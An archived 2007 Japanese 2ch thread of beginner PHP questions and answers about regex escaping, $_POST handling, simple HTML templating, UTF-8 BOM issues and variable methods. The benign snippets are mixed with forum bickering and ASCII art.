5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

【PHP】下らねぇ質問はここに書き込みやがれ 45

1 :nobodyさん:2007/05/12(土) 16:42:48 ID:???
まず読め→【PHP マニュアル】http://www.php.net/manual/ja/
PHPで最良の教本はこの公式マニュアル。市販の書籍は嘘が多いので鵜呑みにしない。
過去スレ、関連スレ、FAQなどは>>2-10辺り

◆前スレ
【PHP】下らねぇ質問はここに書き込みやがれ 45
http://pc11.2ch.net/test/read.cgi/php/1177635762/

◆質問する時の注意
・ 自分のIDを表示させること。(メール欄に何も記述しないこと。空白も入力しちゃダメ)
・ サーバーのOS(Linux、Windows他)、WebサーバーとPHPの種類やバージョン等を明記すること。
・ 己の行った操作、変更などを詳しく明記すること。
・ エラーメッセージはそのまま表記すること。「エラーが出ます」だけでは回答不可。
・ 質問者として、態度をわきまえること。
・ 事前に公式マニュアル、リファレンス本くらいはちゃんと目を通しておくこと。

◆質問後の注意
・偽者防止に必ずIDを表示させること。(メール欄に何も記述しない)
・2回目以降は最初に質問した際のレス番号を名前欄に入れること。
・解決しなくても回答をもらった場合はお礼を言うこと。
 (荒らし、煽りは除く。煽られたときも、無闇に反論せずスルーすること。)

◆回答者への注意
・誰にレスしているのか分からないと困るので、>>(アンカー)をつけて回答すること。

【その他諸注意】
・正規表現・PEAR・テンプレート(Smarty等)・フレームワークは各該当スレへ
・SQLについての質問はデータベース板(PCカテゴリ)の各スレで

2 :nobodyさん:2007/05/12(土) 20:11:37 ID:???
2げおt

3 :nobodyさん:2007/05/12(土) 21:44:14 ID:???
とりあえずこっちはsage進行で、できればdat落ちさせて。

4 :nobodyさん:2007/05/13(日) 00:27:07 ID:aU5J+vQg
みなさん実務でPHP開発ってどうやってやってるんですか?勉強とかで使うには
windows環境だからPHPエディタで編集 → 実行でやり易いけど、実務だと
編集するファイルはLinux上にありますよね。わざわざファイルまで移動して
Viエディタで編集してるんですか?eclipseだとリモートデバッグがあるらしいけど
重いし色々めんどくさそうだからもっといい方法ないですかね。私としては
PHPエディタを使いたいんですが;

5 :nobodyさん:2007/05/13(日) 00:55:42 ID:???
>>4
手元のFreeBSDで開発。リモートにはSubversion via sshで同期を取る。
エディタはEmacs。リモートにも一応Emacsをインストールしてある。

6 :nobodyさん:2007/05/13(日) 00:56:03 ID:???
DWかeclipseかマクロが使えるエディタなど。
zendは会社が経費で落としてくれるようなあたたかいところか、自腹で使ってる奴がいる程度

7 :nobodyさん:2007/05/13(日) 00:57:08 ID:???
よくわかんねえけど、向こうのスレと同時進行しちゃえばいいんじゃないの?


8 :nobodyさん:2007/05/13(日) 09:02:19 ID:???
【PHP】下らねぇ質問はここに書き込みやがれ 46
http://pc11.2ch.net/test/read.cgi/php/1178955837/

9 :nobodyさん:2007/05/15(火) 09:40:09 ID:???
vim+マクロ

10 :nobodyさん:2007/05/15(火) 16:43:27 ID:6TG+QTaB
いまeregiを使ってフォームから送られてきたデータに
半角記号があればはじくスクリプトを書いているのですが
$と\だけが正しくはじかれません。

if(eregi("$",$_POST["deta"])){
//もしくはif(eregi("\\",$_POST["deta"])){
return false;
}else{
return true;
}

いちを\$も試してみたのですが上手くいきません。
正規表現でググって見ても明確な答えも出ず
$でググる事もできないので困ってます。

OSはfreeBSD、php4.4.6(レンタルサーバ)になります。

11 :nobodyさん:2007/05/15(火) 16:53:00 ID:???
>>10
正規表現を"で括るのではなくて'で括ってみてはどうか。

12 :10:2007/05/15(火) 17:02:38 ID:6TG+QTaB
>>11
すばやい回答ありがとうございます。
今試して見ました。

if(eregi('$',$_POST['data'])){
return false;
}else{
return true;
}

と言う事ですよね、やっぱりダメでした。
詳しく言うと、$が入っていようが無かろうがここで必ず
引っかかってfalseを返すようなのです。

\の方は\が入ってなかろうが必ずtrueを返すみたいです。
しかも$_POST['data']のなかに\しか入れてないのに、print('$_POST['deta']');
したときに、おかしなことに\\と置き換わって表示されている事です。

そのほかの記号#$%等はうまくはじけるので、このレンタルサーバだけの
しようかもしれないと思っております。

13 :10:2007/05/15(火) 17:09:43 ID:6TG+QTaB
訂正です
print("$_POST['deta']");
シングルとダブルクオートの使い分けをレスに書いておらず
訂正させていただきます。

14 :nobodyさん:2007/05/15(火) 17:11:47 ID:???
>>13
むこうでやれよ。お前。向こうの質問と、こっちの質問、重複して、しかも違うところあるだろが。
そもそもここはオチスレだ。

15 :10:2007/05/15(火) 17:17:54 ID:6TG+QTaB
失礼しました。
こちらに書いた質問は取り消します。

16 :nobodyさん:2007/05/15(火) 17:21:06 ID:???
ある数字の値があり小数点以下値があれば小数点2桁まで表示、なければ少数点を表示しないようにするにはどうすればよいでしょうか?

17 :nobodyさん:2007/05/15(火) 17:24:35 ID:???
>>16
>>8のスレでどうぞ。スレのはじめにおやくそく書いてあるから読んでね。

18 :nobodyさん:2007/05/15(火) 18:40:28 ID:???
そんなにこのスレ使いたくないのなら申請してこいよ
http://qb5.2ch.net/test/read.cgi/saku/1030275652/

19 :nobodyさん:2007/05/26(土) 20:39:03 ID:zAGWqET9
age

20 :nobodyさん:2007/05/27(日) 10:22:46 ID:24TJO5qa
>>13
strpos使えば?

21 :nobodyさん:2007/05/28(月) 10:05:36 ID:efvDy8q4
買い物メモを作っています。
1列目は通しナンバー、2列目しなもの、3列目金額です。
↓画面はこんな感じです。

1,バナナ,100
2,おかし,150
3,牛乳,200

4
品物:[ ]
金額:[ ]
[登録]

カンマ区切りのデータです。
1列目は自動でナンバーを振りたいです。


$data01 = file("data01.txt");
print"$data01[1]<br>";
print"$data01[2]<br>";
print"$data01[3]<br>";
こうすると1行ずつ表示されました。

foreach($data01 as $strdat_data01)
$strbuf_data01 = split(",", $strdat_data01);
print"$strbuf_data01[0]<br>";
print"$strbuf_data01[1]<br>";
print"$strbuf_data01[3]<br>";
これは1行目だけ1つずつ表示されました。

うまくいきません!
どうしたらいいでしょうか?

22 :nobodyさん:2007/05/28(月) 11:07:00 ID:???
>こうすると1行ずつ表示されました。
>これは1行目だけ1つずつ表示されました。
>うまくいきません!
>どうしたらいいでしょうか?

ハァ?

23 :nobodyさん:2007/05/28(月) 11:30:57 ID:IWdKxl1z
質問します。

DBにあるひらがなのデータを引き出して、PHPであいうえお順に並べたいのですが、何かいい方法はありませんでしょうか?
宜しくお願いします。

24 :nobodyさん:2007/05/28(月) 11:33:57 ID:???
ヒィ?

25 :nobodyさん:2007/05/28(月) 11:42:48 ID:???
>>23
DBから取り出すときに、あいうえお順に取り出せばいいじゃん。

26 :nobodyさん:2007/05/28(月) 11:45:52 ID:???
>>25
いやww そのやり方がわからないんじゃないの?wwww
SQLの問題だね

27 :nobodyさん:2007/05/28(月) 11:53:00 ID:IWdKxl1z
>>23,25

回答ありがとうございます!
なるほど!DBで引きださないといけないんですね。

今調べているんですが、ネットじゃ見つかりませんorz
探し方が悪いな。。。

28 :21:2007/05/28(月) 11:53:02 ID:efvDy8q4
全行ひとつずつ取り出すにはどうしたらいいのですか?

29 :nobodyさん:2007/05/28(月) 12:08:51 ID:???
>>28
制御構造についてマニュアル見てくるべし

30 :nobodyさん:2007/05/28(月) 12:11:01 ID:pAImQaIB
おい。おしえれ!

$_POST配列についてだけんども、フォームからの情報が空のまま送信されてきたときは、
$_POSTは空の配列という認識でええんかな?ようするに$array=array()で作成された空の配列と
同じと考えていいのかな?

教えてくさい。おながいします。

31 :nobodyさん:2007/05/28(月) 12:14:16 ID:???
>>30
フォームからの情報を空にして送信して中身見てみれば分かるだろカス

32 :nobodyさん:2007/05/28(月) 12:17:54 ID:???
>>27
ORDER BY
ttp://sql.1keydata.com/jp/sql-order-by.php

33 :nobodyさん:2007/05/28(月) 12:19:12 ID:???
>>31
30ではないが、echoすると空っぽだが、emptyはtrueで返ってきたりするから困ったもんだ

34 :nobodyさん:2007/05/28(月) 12:20:24 ID:???
何書いてんだ俺・・・

×emptyはtrueで返ってきたりする
○emptyはfalseで返ってきたりする

35 :30:2007/05/28(月) 12:26:45 ID:pAImQaIB
>>31 わかんないんです(><;)

>>33 ですよね?わけわかんないです(><#)

36 :nobodyさん:2007/05/28(月) 12:46:48 ID:???
>>35
「おしえれ」「教えてくさい」「おながいします」「ふざけた顔文字」
この時点でまじめに質問しようとしてないことが見て取れるので却下

37 :nobodyさん:2007/05/28(月) 13:40:41 ID:ywe2HeV4
$_POST配列についての質問です。フォームからの情報が空のまま送信されてきたときは、
$_POSTは空の配列という認識で良いのですか

38 :nobodyさん:2007/05/28(月) 14:00:20 ID:???
>>37
変数の中身は見ましたか?

39 :nobodyさん:2007/05/28(月) 14:05:34 ID:???
>>37
具体的なソースだしてくれ

40 :nobodyさん:2007/05/28(月) 14:17:34 ID:???
>>37
ちょっと実験してくれ

41 :nobodyさん:2007/05/28(月) 15:17:16 ID:ywe2HeV4
>>38-40

汚いソースで申し訳ありませんが・・・
<?
/* test.php EUC-JP  ?>*/
?>

<html lang="ja">
<head>
<meta http-equiv="content-Type" content="text/html; charset=EUC-JP">
</head>
<body>
<fieldset>
<form action="test.php" method="post">
  <input type="text" name="hoge" />
  <input type="submit" />
</form>

実行結果<br />
<?
echo $_POST['hoge'];  //blank

if(empty($_POST['hoge']))  echo"empty" ;   //TRUE
if(isset($_POST['hoge']))  echo"isset" ;   //TRUE
if(!empty($_POST['hoge'])) echo"!empty";   //FALSE

?>
</fieldset>
</body></html>

42 :nobodyさん:2007/05/28(月) 15:18:08 ID:ywe2HeV4
つまり、私がissetの使い方を理解していない・間違っているということでしょうか?

43 :nobodyさん:2007/05/28(月) 15:35:38 ID:???
print_rやらvar_dumpやら使えばいいじゃん・・・

44 :nobodyさん:2007/05/28(月) 15:36:47 ID:???
>>41
POSTでhogeを送信してるから
$_POST['hoge']には空文字列が入っていると思われ

45 :nobodyさん:2007/05/28(月) 15:39:13 ID:???
>>43
自分が別の時に書いたものの改造なので・・・

>>44
2行目については把握しています
1行目の意味することが理解できません

46 :nobodyさん:2007/05/28(月) 15:46:36 ID:???
>>45
へ?自分が別の時に書いたものの改造だからなんでprint_rやvar_dumpができないのか詳しく説明してくれ

47 :nobodyさん:2007/05/28(月) 15:48:22 ID:ywe2HeV4
荒れて来たので消えますね
失礼しました

48 :nobodyさん:2007/05/28(月) 15:57:28 ID:???
>>47
解決してあげようと回答者が聞いてるのに無視
「荒れた」とかいう原因は自分なのに放置
多くの人の時間と手間を無駄にしておいて自分勝手に終わらせる無責任さ
一言礼すら無し

お前最悪すぎるよ・・・


49 :nobodyさん:2007/05/28(月) 16:01:25 ID:ywe2HeV4
> 解決してあげようと回答者が聞いてるのに無視

これはない


> 「荒れた」とかいう原因は自分なのに放置

原因が云々の問題?


> 多くの人の時間と手間を無駄にしておいて自分勝手に終わらせる無責任さ
> 一言礼すら無し

この点は本当にごめんなさい
みなさんありがとうございました

50 :nobodyさん:2007/05/28(月) 16:05:58 ID:???
自分に都合が悪い指摘を「荒らし」ってwwww

51 :nobodyさん:2007/05/28(月) 16:06:40 ID:???
>>49

>これはない
>>46

>原因が云々の問題?
そうだと思うけど何か違う問題なの?

52 :nobodyさん:2007/05/28(月) 16:07:20 ID:???
>>49
> 解決してあげようと回答者が聞いてるのに無視
> これはない

44ですが無視ですか・・・

53 :nobodyさん:2007/05/28(月) 16:09:46 ID:???
38ですが無視ですか・・・

54 :nobodyさん:2007/05/28(月) 16:11:45 ID:ywe2HeV4
>>44 >>38
ごめんなさい・・・

>>46の質問は解決のための質問とは思えない、という意味です
都合の悪い、という意味がわかりませんが

55 :nobodyさん:2007/05/28(月) 16:17:09 ID:???
>>54
print_rやvar_dumpの使用は明らかに解決を早めると思うのだが・・・

56 :nobodyさん:2007/05/28(月) 16:19:50 ID:???
>>54
どうすれば解決するか分からないから質問しに来たくせに、そういうことは分かってるつもりなんだw
大体>>46>>45でキミが意味不明な返答したから言われてんじゃん。
改造だからprint_rやvar_dumpが使えないってのは君の中では論理的な考えになってるのか?
もしそうならそれに興味があるから是非教えてほしい。

57 :nobodyさん:2007/05/28(月) 16:19:49 ID:ywe2HeV4
>>55

> へ?自分が別の時に書いたものの改造だからなんでprint_rやvar_dumpができないのか
> 詳しく説明してくれ


詳しく教えて何か意味がありますか?
言い方にも問題があると思いますよ

58 :nobodyさん:2007/05/28(月) 16:21:09 ID:ywe2HeV4
>>56
改造だから使えないんじゃなくて、改造だから使っていなかった、という意味です


いろいろなみなさんにご迷惑おかけして申し訳ありませんでした

59 :nobodyさん:2007/05/28(月) 16:22:54 ID:???
まず最初に自分の言い方が悪かったから突っ込まれたのにそこはスルーなんだな

60 :nobodyさん:2007/05/28(月) 16:25:48 ID:8Nb4gWX5
このスレに質問に来ると、質問にちゃんつける人がいるので、いつも質問すようか戸惑います
おかげで色々な問題を自分で解決できるようになりました
本当にありがとうございます

61 :30:2007/05/28(月) 16:26:32 ID:pAImQaIB
じっゎ、ゎたし、ぉんなのこ。

ここのひとたちは、きっとぉんなのこが困ってると、気持ち悪く
てとりあしとり、ょぶんなことまで、ぉしぇてくるの。。ほんとうはきもちゎるぃのに・・

でも、きのょゎぃぉとこのこぁぃてだと、ばかみたぃにぃばりくさってるの。

そぅぃぅ、ぉとこの人って、かすょね。ゎたしのしょくばにもたくぁんいるの。そぅぃぅ、ぉとこのひと。

だから、かのじょもできなぃんだょ♥

62 :nobodyさん:2007/05/28(月) 16:26:39 ID:???
まともな質問ならキチンと回答されるので大丈夫ですよ

63 :nobodyさん:2007/05/28(月) 16:26:53 ID:???
>>37
空の配列とは$_POST = array();
>>41
これは$_POST = array("hoge"=>"");
print_rやらvar_dumpすればすぐ分かること


64 :nobodyさん:2007/05/28(月) 16:28:20 ID:???
>>57
print_rやvar_dumpを使用すれば解決が早まる

しかし質問者は改造だから使用できないという

理由を聞く
もしかしたら勘違いかもしれないし、別の方法があるかもしれない

何かおかしいですか
回答者は質問者に対して逆に問いを発してはだめですか
質問者の要求に従ってロボットのように知識を出して検索して推測して答えを出さなきゃだめですか

>>58
いや、使えば?
新規作成でも改造でも使えばいいと思う。
何が障害なのか知らんが。

65 :nobodyさん:2007/05/28(月) 16:28:23 ID:8Nb4gWX5
>>62
でも>>61 = >>30 みたいな人がいますよね?
答える人も大変ですよね

66 :nobodyさん:2007/05/28(月) 16:28:55 ID:???
>>65
で?

67 :nobodyさん:2007/05/28(月) 16:30:01 ID:???
>>66
このスレは重複スレでテンプレもないけど、一言言わせてもらえば
「質問者は立場をわきまえろ」

68 :nobodyさん:2007/05/28(月) 16:30:01 ID:???
暇そうだなw

69 :nobodyさん:2007/05/28(月) 16:30:33 ID:???
ループ(for)で予め外部ファイルに作っておいたHTMLの雛形の特定の場所に変数を置き換えて表示する処理にて、
例えば【<H3>${KoMidasi}</H3>】という風に、処理する度に違う値が$KoMidasiに入る感じになるとします。

ですが、
for($i=0; $i<100; $i++){
$KoMidasi を定義する処理
$OUT_HTML .= $(HTMLの雛形);
}

と書いた場合「$(HTMLの雛形)」中の$KoMidasiには、外部ファイルが、includeされた時点での変数値が入ります。
ですのでforの1-2行目に include $(HTMLの雛形)があるファイル.php; と書けば問題ありませんが、100回も取込を行わなければなりません。

取込対象は大した容量ではありませんがやはり綺麗な処理とは言えないので、
どうにか一回取り込んで後は動的に変数値を置き換えたいのですがどうすれば宜しいでしょうか。

説明べたでスミマセンが宜しくお願いします。

70 :67:2007/05/28(月) 16:31:27 ID:???
すまん66じゃなくて65宛てだった

71 :nobodyさん:2007/05/28(月) 16:32:00 ID:8Nb4gWX5
>>66
お疲れ様です、みたいなことでも言って欲しかった?
こういう人いるから質問をしたくないんですよね

72 :nobodyさん:2007/05/28(月) 16:32:18 ID:???
>>69
つかHTMLの雛形に変数を置き換える処理で
100回繰り返す必要性が分かんないんだけど。

73 :nobodyさん:2007/05/28(月) 16:34:50 ID:???
>>71
「だから何?」って聞きたかっただけなんだけど
一体お前が何を言いたいのか解らない
聞くな答えるなって言いたいのか?

74 :69:2007/05/28(月) 16:37:55 ID:???
>>72
今回は例ですので実際は○月の日別集計を表示する感じで日毎の雛形に集計結果を変数値として代入して返す風な処理です。
なので100回とか回数は飽くまで同様の処理を多数行う必要があるということをそれとなく表してるだけです。

<OL>
<LI>05/28(月) →$DAY
<LI>02:00 - 荒らしと遭遇 → $TIME[($LIST[$i])]

<LI>23:45 - 就寝
</OL>

こんな感じです。(実際は全然違いますが)

75 :nobodyさん:2007/05/28(月) 16:40:37 ID:???
良いスレタイだよな 「書き込みやがれ」って

とりあえず書かせるだけで誰も答えないスレってどうよ?w

76 :nobodyさん:2007/05/28(月) 16:42:21 ID:???
>>75
新参乙 Part10 辺りから既にこのスレタイだった希ガス

77 :nobodyさん:2007/05/28(月) 16:43:51 ID:???
>>76
日常会話が出来ない人に何言ったって無駄

78 :nobodyさん:2007/05/28(月) 16:43:56 ID:???
>>76
とりあえず書かせるけど答えられないスレ、で良ければ俺も参加するわww

79 :nobodyさん:2007/05/28(月) 16:44:58 ID:???
>>74
情報を出し惜しみしないで実際の例で出してくれ
非常に理解しづらいし
抽象的な話されても実際に役に立つアドバイスが出せるか不明だし
つかまぁ俺だったらテンプレートエンジン使うけどな


80 :nobodyさん:2007/05/28(月) 16:45:23 ID:???
>>78
書かせるけど答えられないスレ、では無いので参加しなくて結構です

81 :nobodyさん:2007/05/28(月) 16:45:52 ID:???
>>77
ユーモアだよ、ユーモア
つまらなかったんなら謝る

82 :nobodyさん:2007/05/28(月) 16:53:39 ID:???
どっちが本ヌレ?

83 :69:2007/05/28(月) 17:09:34 ID:???
できるだけ今やろうとしてることを書き出してみました。
行数の関係で読みにくいですが、どうかご指南お願いします。

―inc.php―――――――
$HTML = <<<TEXT
<H3>${Komidasi}</H3>
<OL>
<LI>${DAY}
<LI>${TEXT}
</OL>
TEXT;
―――――――――――
―data.xtx――――――
100円拾った<>13<>今日は机の中で100円拾った
今日も2ch<>25<>一日vipでネカマになって遊んだ有意義だった
―――――――――――
―index.php――――――
include inc.php;
$data = file("data.txt");
for($i=0; count($data)>$i; $i++){
list($Komidasi, $DAY, $TEXT) = explode("<>", $data[$i]);
$OUT_HTML .= $HTML;
}
―――――――――――

index.php の1行目でコールすると変数値は空なのでforの2行目でコールしなければならないというのが>>69で言いたかった内容です。
どうか1回コールして動的に変数値を置き換える方法はありますでしょうか。
因みにSmartyの利用も考えましたが、色んな環境で動くことを考慮して利用せずに組もうと思います

84 :nobodyさん:2007/05/28(月) 18:13:09 ID:ni3tLdmG
PHPは最新のいれるべき?

85 :nobodyさん:2007/05/28(月) 18:47:46 ID:???
>>84
特に理由が無ければね

86 :通りすがり:2007/05/28(月) 19:44:58 ID:???
>>83 こんな感じかいな ずれたらスマン<xmp>
1 <?php
2 class tmpA{
3 var $m_html="";
4 function tmpA($fpath=""){
5 //本当はここでfopen fcloseでファイル読み込み
6 $this->m_html = "<H3>__KMD__</H3> <OL> <LI>__DAY__ <LI>__TXT__ </OL>";
7 }
8 function tmpB($row){
9 list($k, $d, $t) = explode("<>", $row);
10 $ret = preg_replace("/__KMD__/i",$k,$this->m_html);
11 $ret = preg_replace("/__DAY__/i",$d,$ret);
12 $ret = preg_replace("/__TXT__/i",$t,$ret);
13 return $ret;
14 }
15 }
16 $c = new tmpA();
17 $OUT_HTML = "<html><head></head><body>";
18 $data = file("data.txt");
19 for($i=0; count($data)>$i; $i++){
20 $OUT_HTML .= $c->tmpB($data[$i]);
21 }
22 $OUT_HTML .= "</body></html>";
23 echo $OUT_HTML; </xmp>

87 :通りすがり:2007/05/28(月) 19:47:53 ID:???
>>86
やはりずれた、、
<xmp>は無視してね

88 :nobodyさん:2007/05/28(月) 22:05:05 ID:???
>>86
それクラス使う意味あんの?

89 :nobodyさん:2007/05/28(月) 22:30:20 ID:???
>>69
$data = file("data.txt");
for($i=0; count($data)>$i; $i++){
list($Komidasi, $DAY, $TEXT) = explode("<>", $data[$i]);
$OUT_HTML .= <<<TEXT
<H3>${Komidasi}</H3>
<OL>
<LI>${DAY}
<LI>${TEXT}
</OL>
TEXT;
}
で、いいじゃん。

90 :nobodyさん:2007/05/28(月) 22:52:21 ID:???
>>88
>>86はどうか知らんが、純粋なOOPやってる人ならclassに入れるのはあたり前。
使う必要があるとかそういったことは手続き型脳の視点だから。
俺ならmainメソッドも書いて、最後にそれだけ実行するようにするけど。

91 :通りすがり:2007/05/28(月) 23:07:30 ID:???
>>88

クラス化しておいた方が、メンテと拡張はしやすいと思ってるだけ。

ログやぶっこ抜いたhtmlに応じてテンプレートを切り替える時とかね。











92 :nobodyさん:2007/05/28(月) 23:16:31 ID:???
>>90
理由も持たずに何でもクラスに入れりゃいいと思い込んでるならOOP脳だろ
例のクラスはオブジェクト設計的に何の意味も持ってないしクラスにした価値もない
よって>>89のようにやるのが正解 (つーかロジック示せば十分だろ)

93 :nobodyさん:2007/05/28(月) 23:18:57 ID:???
何でもかんでもOOPな手法を用いるのは本質的にOOPを理解していない証拠だろう。

94 :通りすがり:2007/05/28(月) 23:25:53 ID:???
>>69

ま、俺の場合は、

>>予め外部ファイルに作っておいたHTMLの雛形の特定の場所に変数を置き換えて表示する処理にて、
ってな第一要件をふまえると、ループ内に直にひな形を書くのはNGだと思ったから。

んで、外部にひな形が有るすなわち、テンプレートは切り替わる可能性がある。と
だからテンプレート切り替えの処理はまとめておいた方がいいよなぁ。→クラス作っておくこうか

となると


95 :nobodyさん:2007/05/29(火) 00:10:52 ID:7xq0Zk/P
>>83
smartyが使えない環境ってどんな環境?

って、このスレの常連みたいな意地悪な解答はおいといて
知ってるかもしれないけどsmartyなどPHPでできたテンプレートエンジンは
パスさえ通せば動くので、よほど特殊な環境じゃなければ
動かせるので、素直に使った方が楽だと思うけどなあ

96 :nobodyさん:2007/05/29(火) 00:26:02 ID:???
>>92-93
全てをオブジェクトにしないと使えない言語だってあるわけですよ。
PHPしかやったことない人間は知らんが、
Javaしかやったことないような人間が、
中途半端OOPもできるPHPに移行してきた場合、
必然的に全てオブジェクトになってしまうだろ。

97 :nobodyさん:2007/05/29(火) 00:32:42 ID:???
>>96
いやPHPの手法に合わせればいいだろw

98 :nobodyさん:2007/05/29(火) 01:49:36 ID:???
まあ、自分でメンテするなら作り易いやりかたでやればいいと思うが

ただ他人のコードを幾つかいじった経験からいうと
・ロジックが画面半分超える場合は分離してくれ
・Perl風に書くのだけはやめてくれ、つかPerlで書けよ
と思うときはある。

とりあえずヒアドキュメントでHTML書くのはやめてくれ、マジデ orz

99 :nobodyさん:2007/05/29(火) 01:57:32 ID:???
>>98
なんで?

100 :nobodyさん:2007/05/29(火) 02:16:01 ID:???
helloかgoodmooningを表示するクラスの作り方は
PHP4とPHP5とでは記述の違いはありますか?

101 :nobodyさん:2007/05/29(火) 02:30:48 ID:???
>>100
4の書き方にあわせれば当然5でも使える。
5から使えるようになった機能や関数があるから、
5の書き方をした場合、4で使えるとは限らないのもまた当然。

102 :nobodyさん:2007/05/29(火) 05:30:24 ID:???
>>69
<H3>..</H3>
phpとは関係ないけど、htmlの「タグ」は小文字<h3></h3>で書く癖つけたほうがいいよ


103 :nobodyさん:2007/05/29(火) 06:26:11 ID:???
<H3>..</H3>
いやいや大文字がいいよ

104 :nobodyさん:2007/05/29(火) 07:04:49 ID:???
>>103
XHTML1.0以降HTMLタグは小文字で表記することが文法的に規定されている

105 :nobodyさん:2007/05/29(火) 07:49:20 ID:???
XHTML強要するのもどうかと。

106 :nobodyさん:2007/05/29(火) 08:24:04 ID:???
まあ強要はよろしくないわな。
俺は小文字で書くけど。

107 :nobodyさん:2007/05/29(火) 08:50:19 ID:???
XHTMLは消えてHTML5.0になるんじゃないのか

108 :nobodyさん:2007/05/29(火) 10:19:59 ID:nFUqZanj
今utf8で作ってるんですが
とりあえず確認したところではrequireやsession_startなどの行を入れて
ブラウザからソース見るとその部分に?が入っているのですが
これはいったいどういうことなのでしょうか?

109 :nobodyさん:2007/05/29(火) 10:34:41 ID:???
htmlあってこそのphpだからな。
htmlの知識もある程度あったほうがよろしい。
phpもだんだん手続き型からオブジェクト型に変化してるように、
htmlも進化しているのさ。
時代に即した書き方を覚えるのもプログラマとしてはよい心がけだと思うぜ。
まぁhtmlの場合はブラウザに実装任せてるから滅茶苦茶でも動くんだけどね。

110 :nobodyさん:2007/05/29(火) 10:35:27 ID:???
>>108
UTFの罠です。
UTF BOMでぐぐればおk

111 :nobodyさん:2007/05/29(火) 10:55:15 ID:nFUqZanj
>>110
なるほど、ありがとうございました。

112 :nobodyさん:2007/05/29(火) 11:56:20 ID:4MbNvczK
>>98
これってどうしてなんでしょうか?

113 :nobodyさん:2007/05/29(火) 12:06:27 ID:???
インデントが使えなくてソースが汚らしいとかそんな理由じゃないの?

114 :nobodyさん:2007/05/29(火) 12:32:07 ID:???
staticとglobalってどう違うんですか

115 :nobodyさん:2007/05/29(火) 12:39:43 ID:???
>>114
ttp://e-words.jp/w/E99D99E79A84E5A489E695B0.html
ttp://e-words.jp/w/E382B0E383ADE383BCE38390E383ABE5A489E695B0.html

116 :nobodyさん:2007/05/29(火) 12:56:15 ID:4MbNvczK
>>113
なるほど

117 :nobodyさん:2007/05/29(火) 13:03:50 ID:05UZMunq
class Hoge {
 function __construct($mode) {
  $this->{$mode}();
 }

}
この{$mode}を__constructに渡した任意の文字列に置き換えて
そのメンバーmethodを実行したいのですが、可能でしょうか?
やりかたをおしえていただけますでしょうか?

118 :nobodyさん:2007/05/29(火) 13:15:40 ID:xx8sT90w
           /⌒`⌒`⌒` \
          /           ヽ
         (  ノ⌒〜⌒〜⌒ヽ、 )
         ヽ/   \, ,/   i ノ
          |   ≧ , ≦   |
          | 、 ,,,,(、_,),,,,  ノ| 
         ヽ   ト=ニ=ァ   /
          \ `ニニ´  /´ ̄ヽ
          / ̄`┻━┻' '´-  }
         r' f{ _ノ癶_ ノ}     /
          /  ハ`l´/,ゝ' /,r‐-、  j
       〈´7'{ V'´  '/   />’
        `7 ヽ ヽ   /   / l |  __  ,.- ._
        /   ハ ヽ/   / ,ヽ/ ̄ /´¨'´‐、  `ヽ    プッー
       /  / 丶.,′ /  ' /  ̄7     ヽ.、_  ',    ´⌒`::`)
.        ,'   /    ,'  /!      ,'ヽ      \`7 ≡⌒;;⌒`)
      /  /   /  / ヽ_    /、 / ,      ,'    ::⌒`;; )
      /  /   /  ハ ,イ、 `ヽ._/ .X /     /
     / ./_   /  ./ ` } }、ー- -'´ ,イヽ   _,.イ
     / ,.-_ヽ〉、./  /  / /l `   ′l,.-ヽ''´  ,'
    ヽ `^_ヾ、   /   丶-、|   _,ィ'´     ,'
     `ーr_'二`._/       「 ̄  l        /
                     |   |     /
                    |    !     /
                   |   l     /
                      l  |    /


119 :nobodyさん:2007/05/29(火) 13:25:46 ID:???
>>117
何がやりたいのかサッパリ。
>$this->{$mode}();
何これ?
>そのメンバーmethodを実行したいのですが
どのmethod?

class Hoge {
  private $mode;
  function __construct($mode) {
    $this->mode = $mode;
  }
  function foo() {
    return $this->mode;
  }
}
$obj = new Hoge("ちんこ");
echo $obj->foo();

120 :nobodyさん:2007/05/29(火) 13:30:15 ID:???
>>117
可変関数やりたいってんならそのままで動くと思うが。
ブラケットいらんがね。

121 :nobodyさん:2007/05/29(火) 13:32:23 ID:???
あぁ・・・可変メソッドか。

122 :nobodyさん:2007/05/29(火) 13:57:17 ID:???
>>119が何やりたかったのか意味不明w

123 :nobodyさん:2007/05/29(火) 14:45:00 ID:???
何やりたかったのかはソース見ればわかるだろ。

124 :nobodyさん:2007/05/29(火) 15:00:12 ID:???
ハッキリ言って、ここ解答者のレベルが低いんじゃないか?
ていうか、スキル以前に頭が悪い(藁
ほんと使えない。

ここ以外にPHPの質問板を紹介しろ。

125 :nobodyさん:2007/05/29(火) 15:04:38 ID:???
>>124
      ___   ━┓  ___    ━┓
     / ―  \  ┏┛/ ―\   ┏┛
    /  (●)  \ヽ ・. /ノ  (●)\  ・
  /   (⌒  (●) /. | (●)   ⌒)\
  /      ̄ヽ__) /   |   (__ノ ̄  |
/´     ___/     \        /
|        \          \     _ノ
|        |          /´     `\


126 :nobodyさん:2007/05/29(火) 15:04:57 ID:???
>>124
http://pc11.2ch.net/test/read.cgi/php/1158647441/

127 :nobodyさん:2007/05/29(火) 15:10:04 ID:6paIllMG
質問です。
ページの特定の場所にジャンプしたいとき、
<a href="#foge">
リンクの場合には、上記のようにしますが、
ボタンフォームの場合にはどうすればいいのでしょうか?

<form method="POST" action="#foge">
このようにしてもダメでした。


128 :nobodyさん:2007/05/29(火) 15:12:01 ID:???
>>127
そもそもPHP関係ねぇ。
リダイレクトするスクリプトに飛んで、アンカー付けてあげれば?

129 :nobodyさん:2007/05/29(火) 15:12:48 ID:???
>>127
ここがなんのスレか理解できるまで>>1を読んだ後、
http://pc11.2ch.net/test/read.cgi/hp/1178272099/
こっちにいってくださいね。

130 :nobodyさん:2007/05/29(火) 15:15:12 ID:???
>>123
値をセットしてゲットしてechoするだけのクラスを書いて117に対して何を言いたいのかさっぱり?
ほんと低脳という言葉がぴったりだな・・・


131 :nobodyさん:2007/05/29(火) 15:16:01 ID:6paIllMG
>>129
すみませんでした。そちらできいてみます。

132 :nobodyさん:2007/05/29(火) 15:27:04 ID:???
いちいち煽るほうが低脳だという事にいい加減気づけよ。
この時間帯はヘボ回答者と煽ることしかできない馬鹿しかいないから、
夜聞くといいよ。なんせニートが元気な時間帯だからな。

133 :nobodyさん:2007/05/29(火) 15:28:23 ID:???
目糞鼻糞を笑う

134 :117:2007/05/29(火) 15:33:03 ID:05UZMunq
度々すみません。
>>121さんの言うとおり、可変メソッドがやりたいのです。(言葉を知らなくて的確に説明できませんでした)
ですので、>>119さんのでは意図した動きをしません。(ありがとうございます)

調べてみると、
$val = 'hoge';
$this->$val();
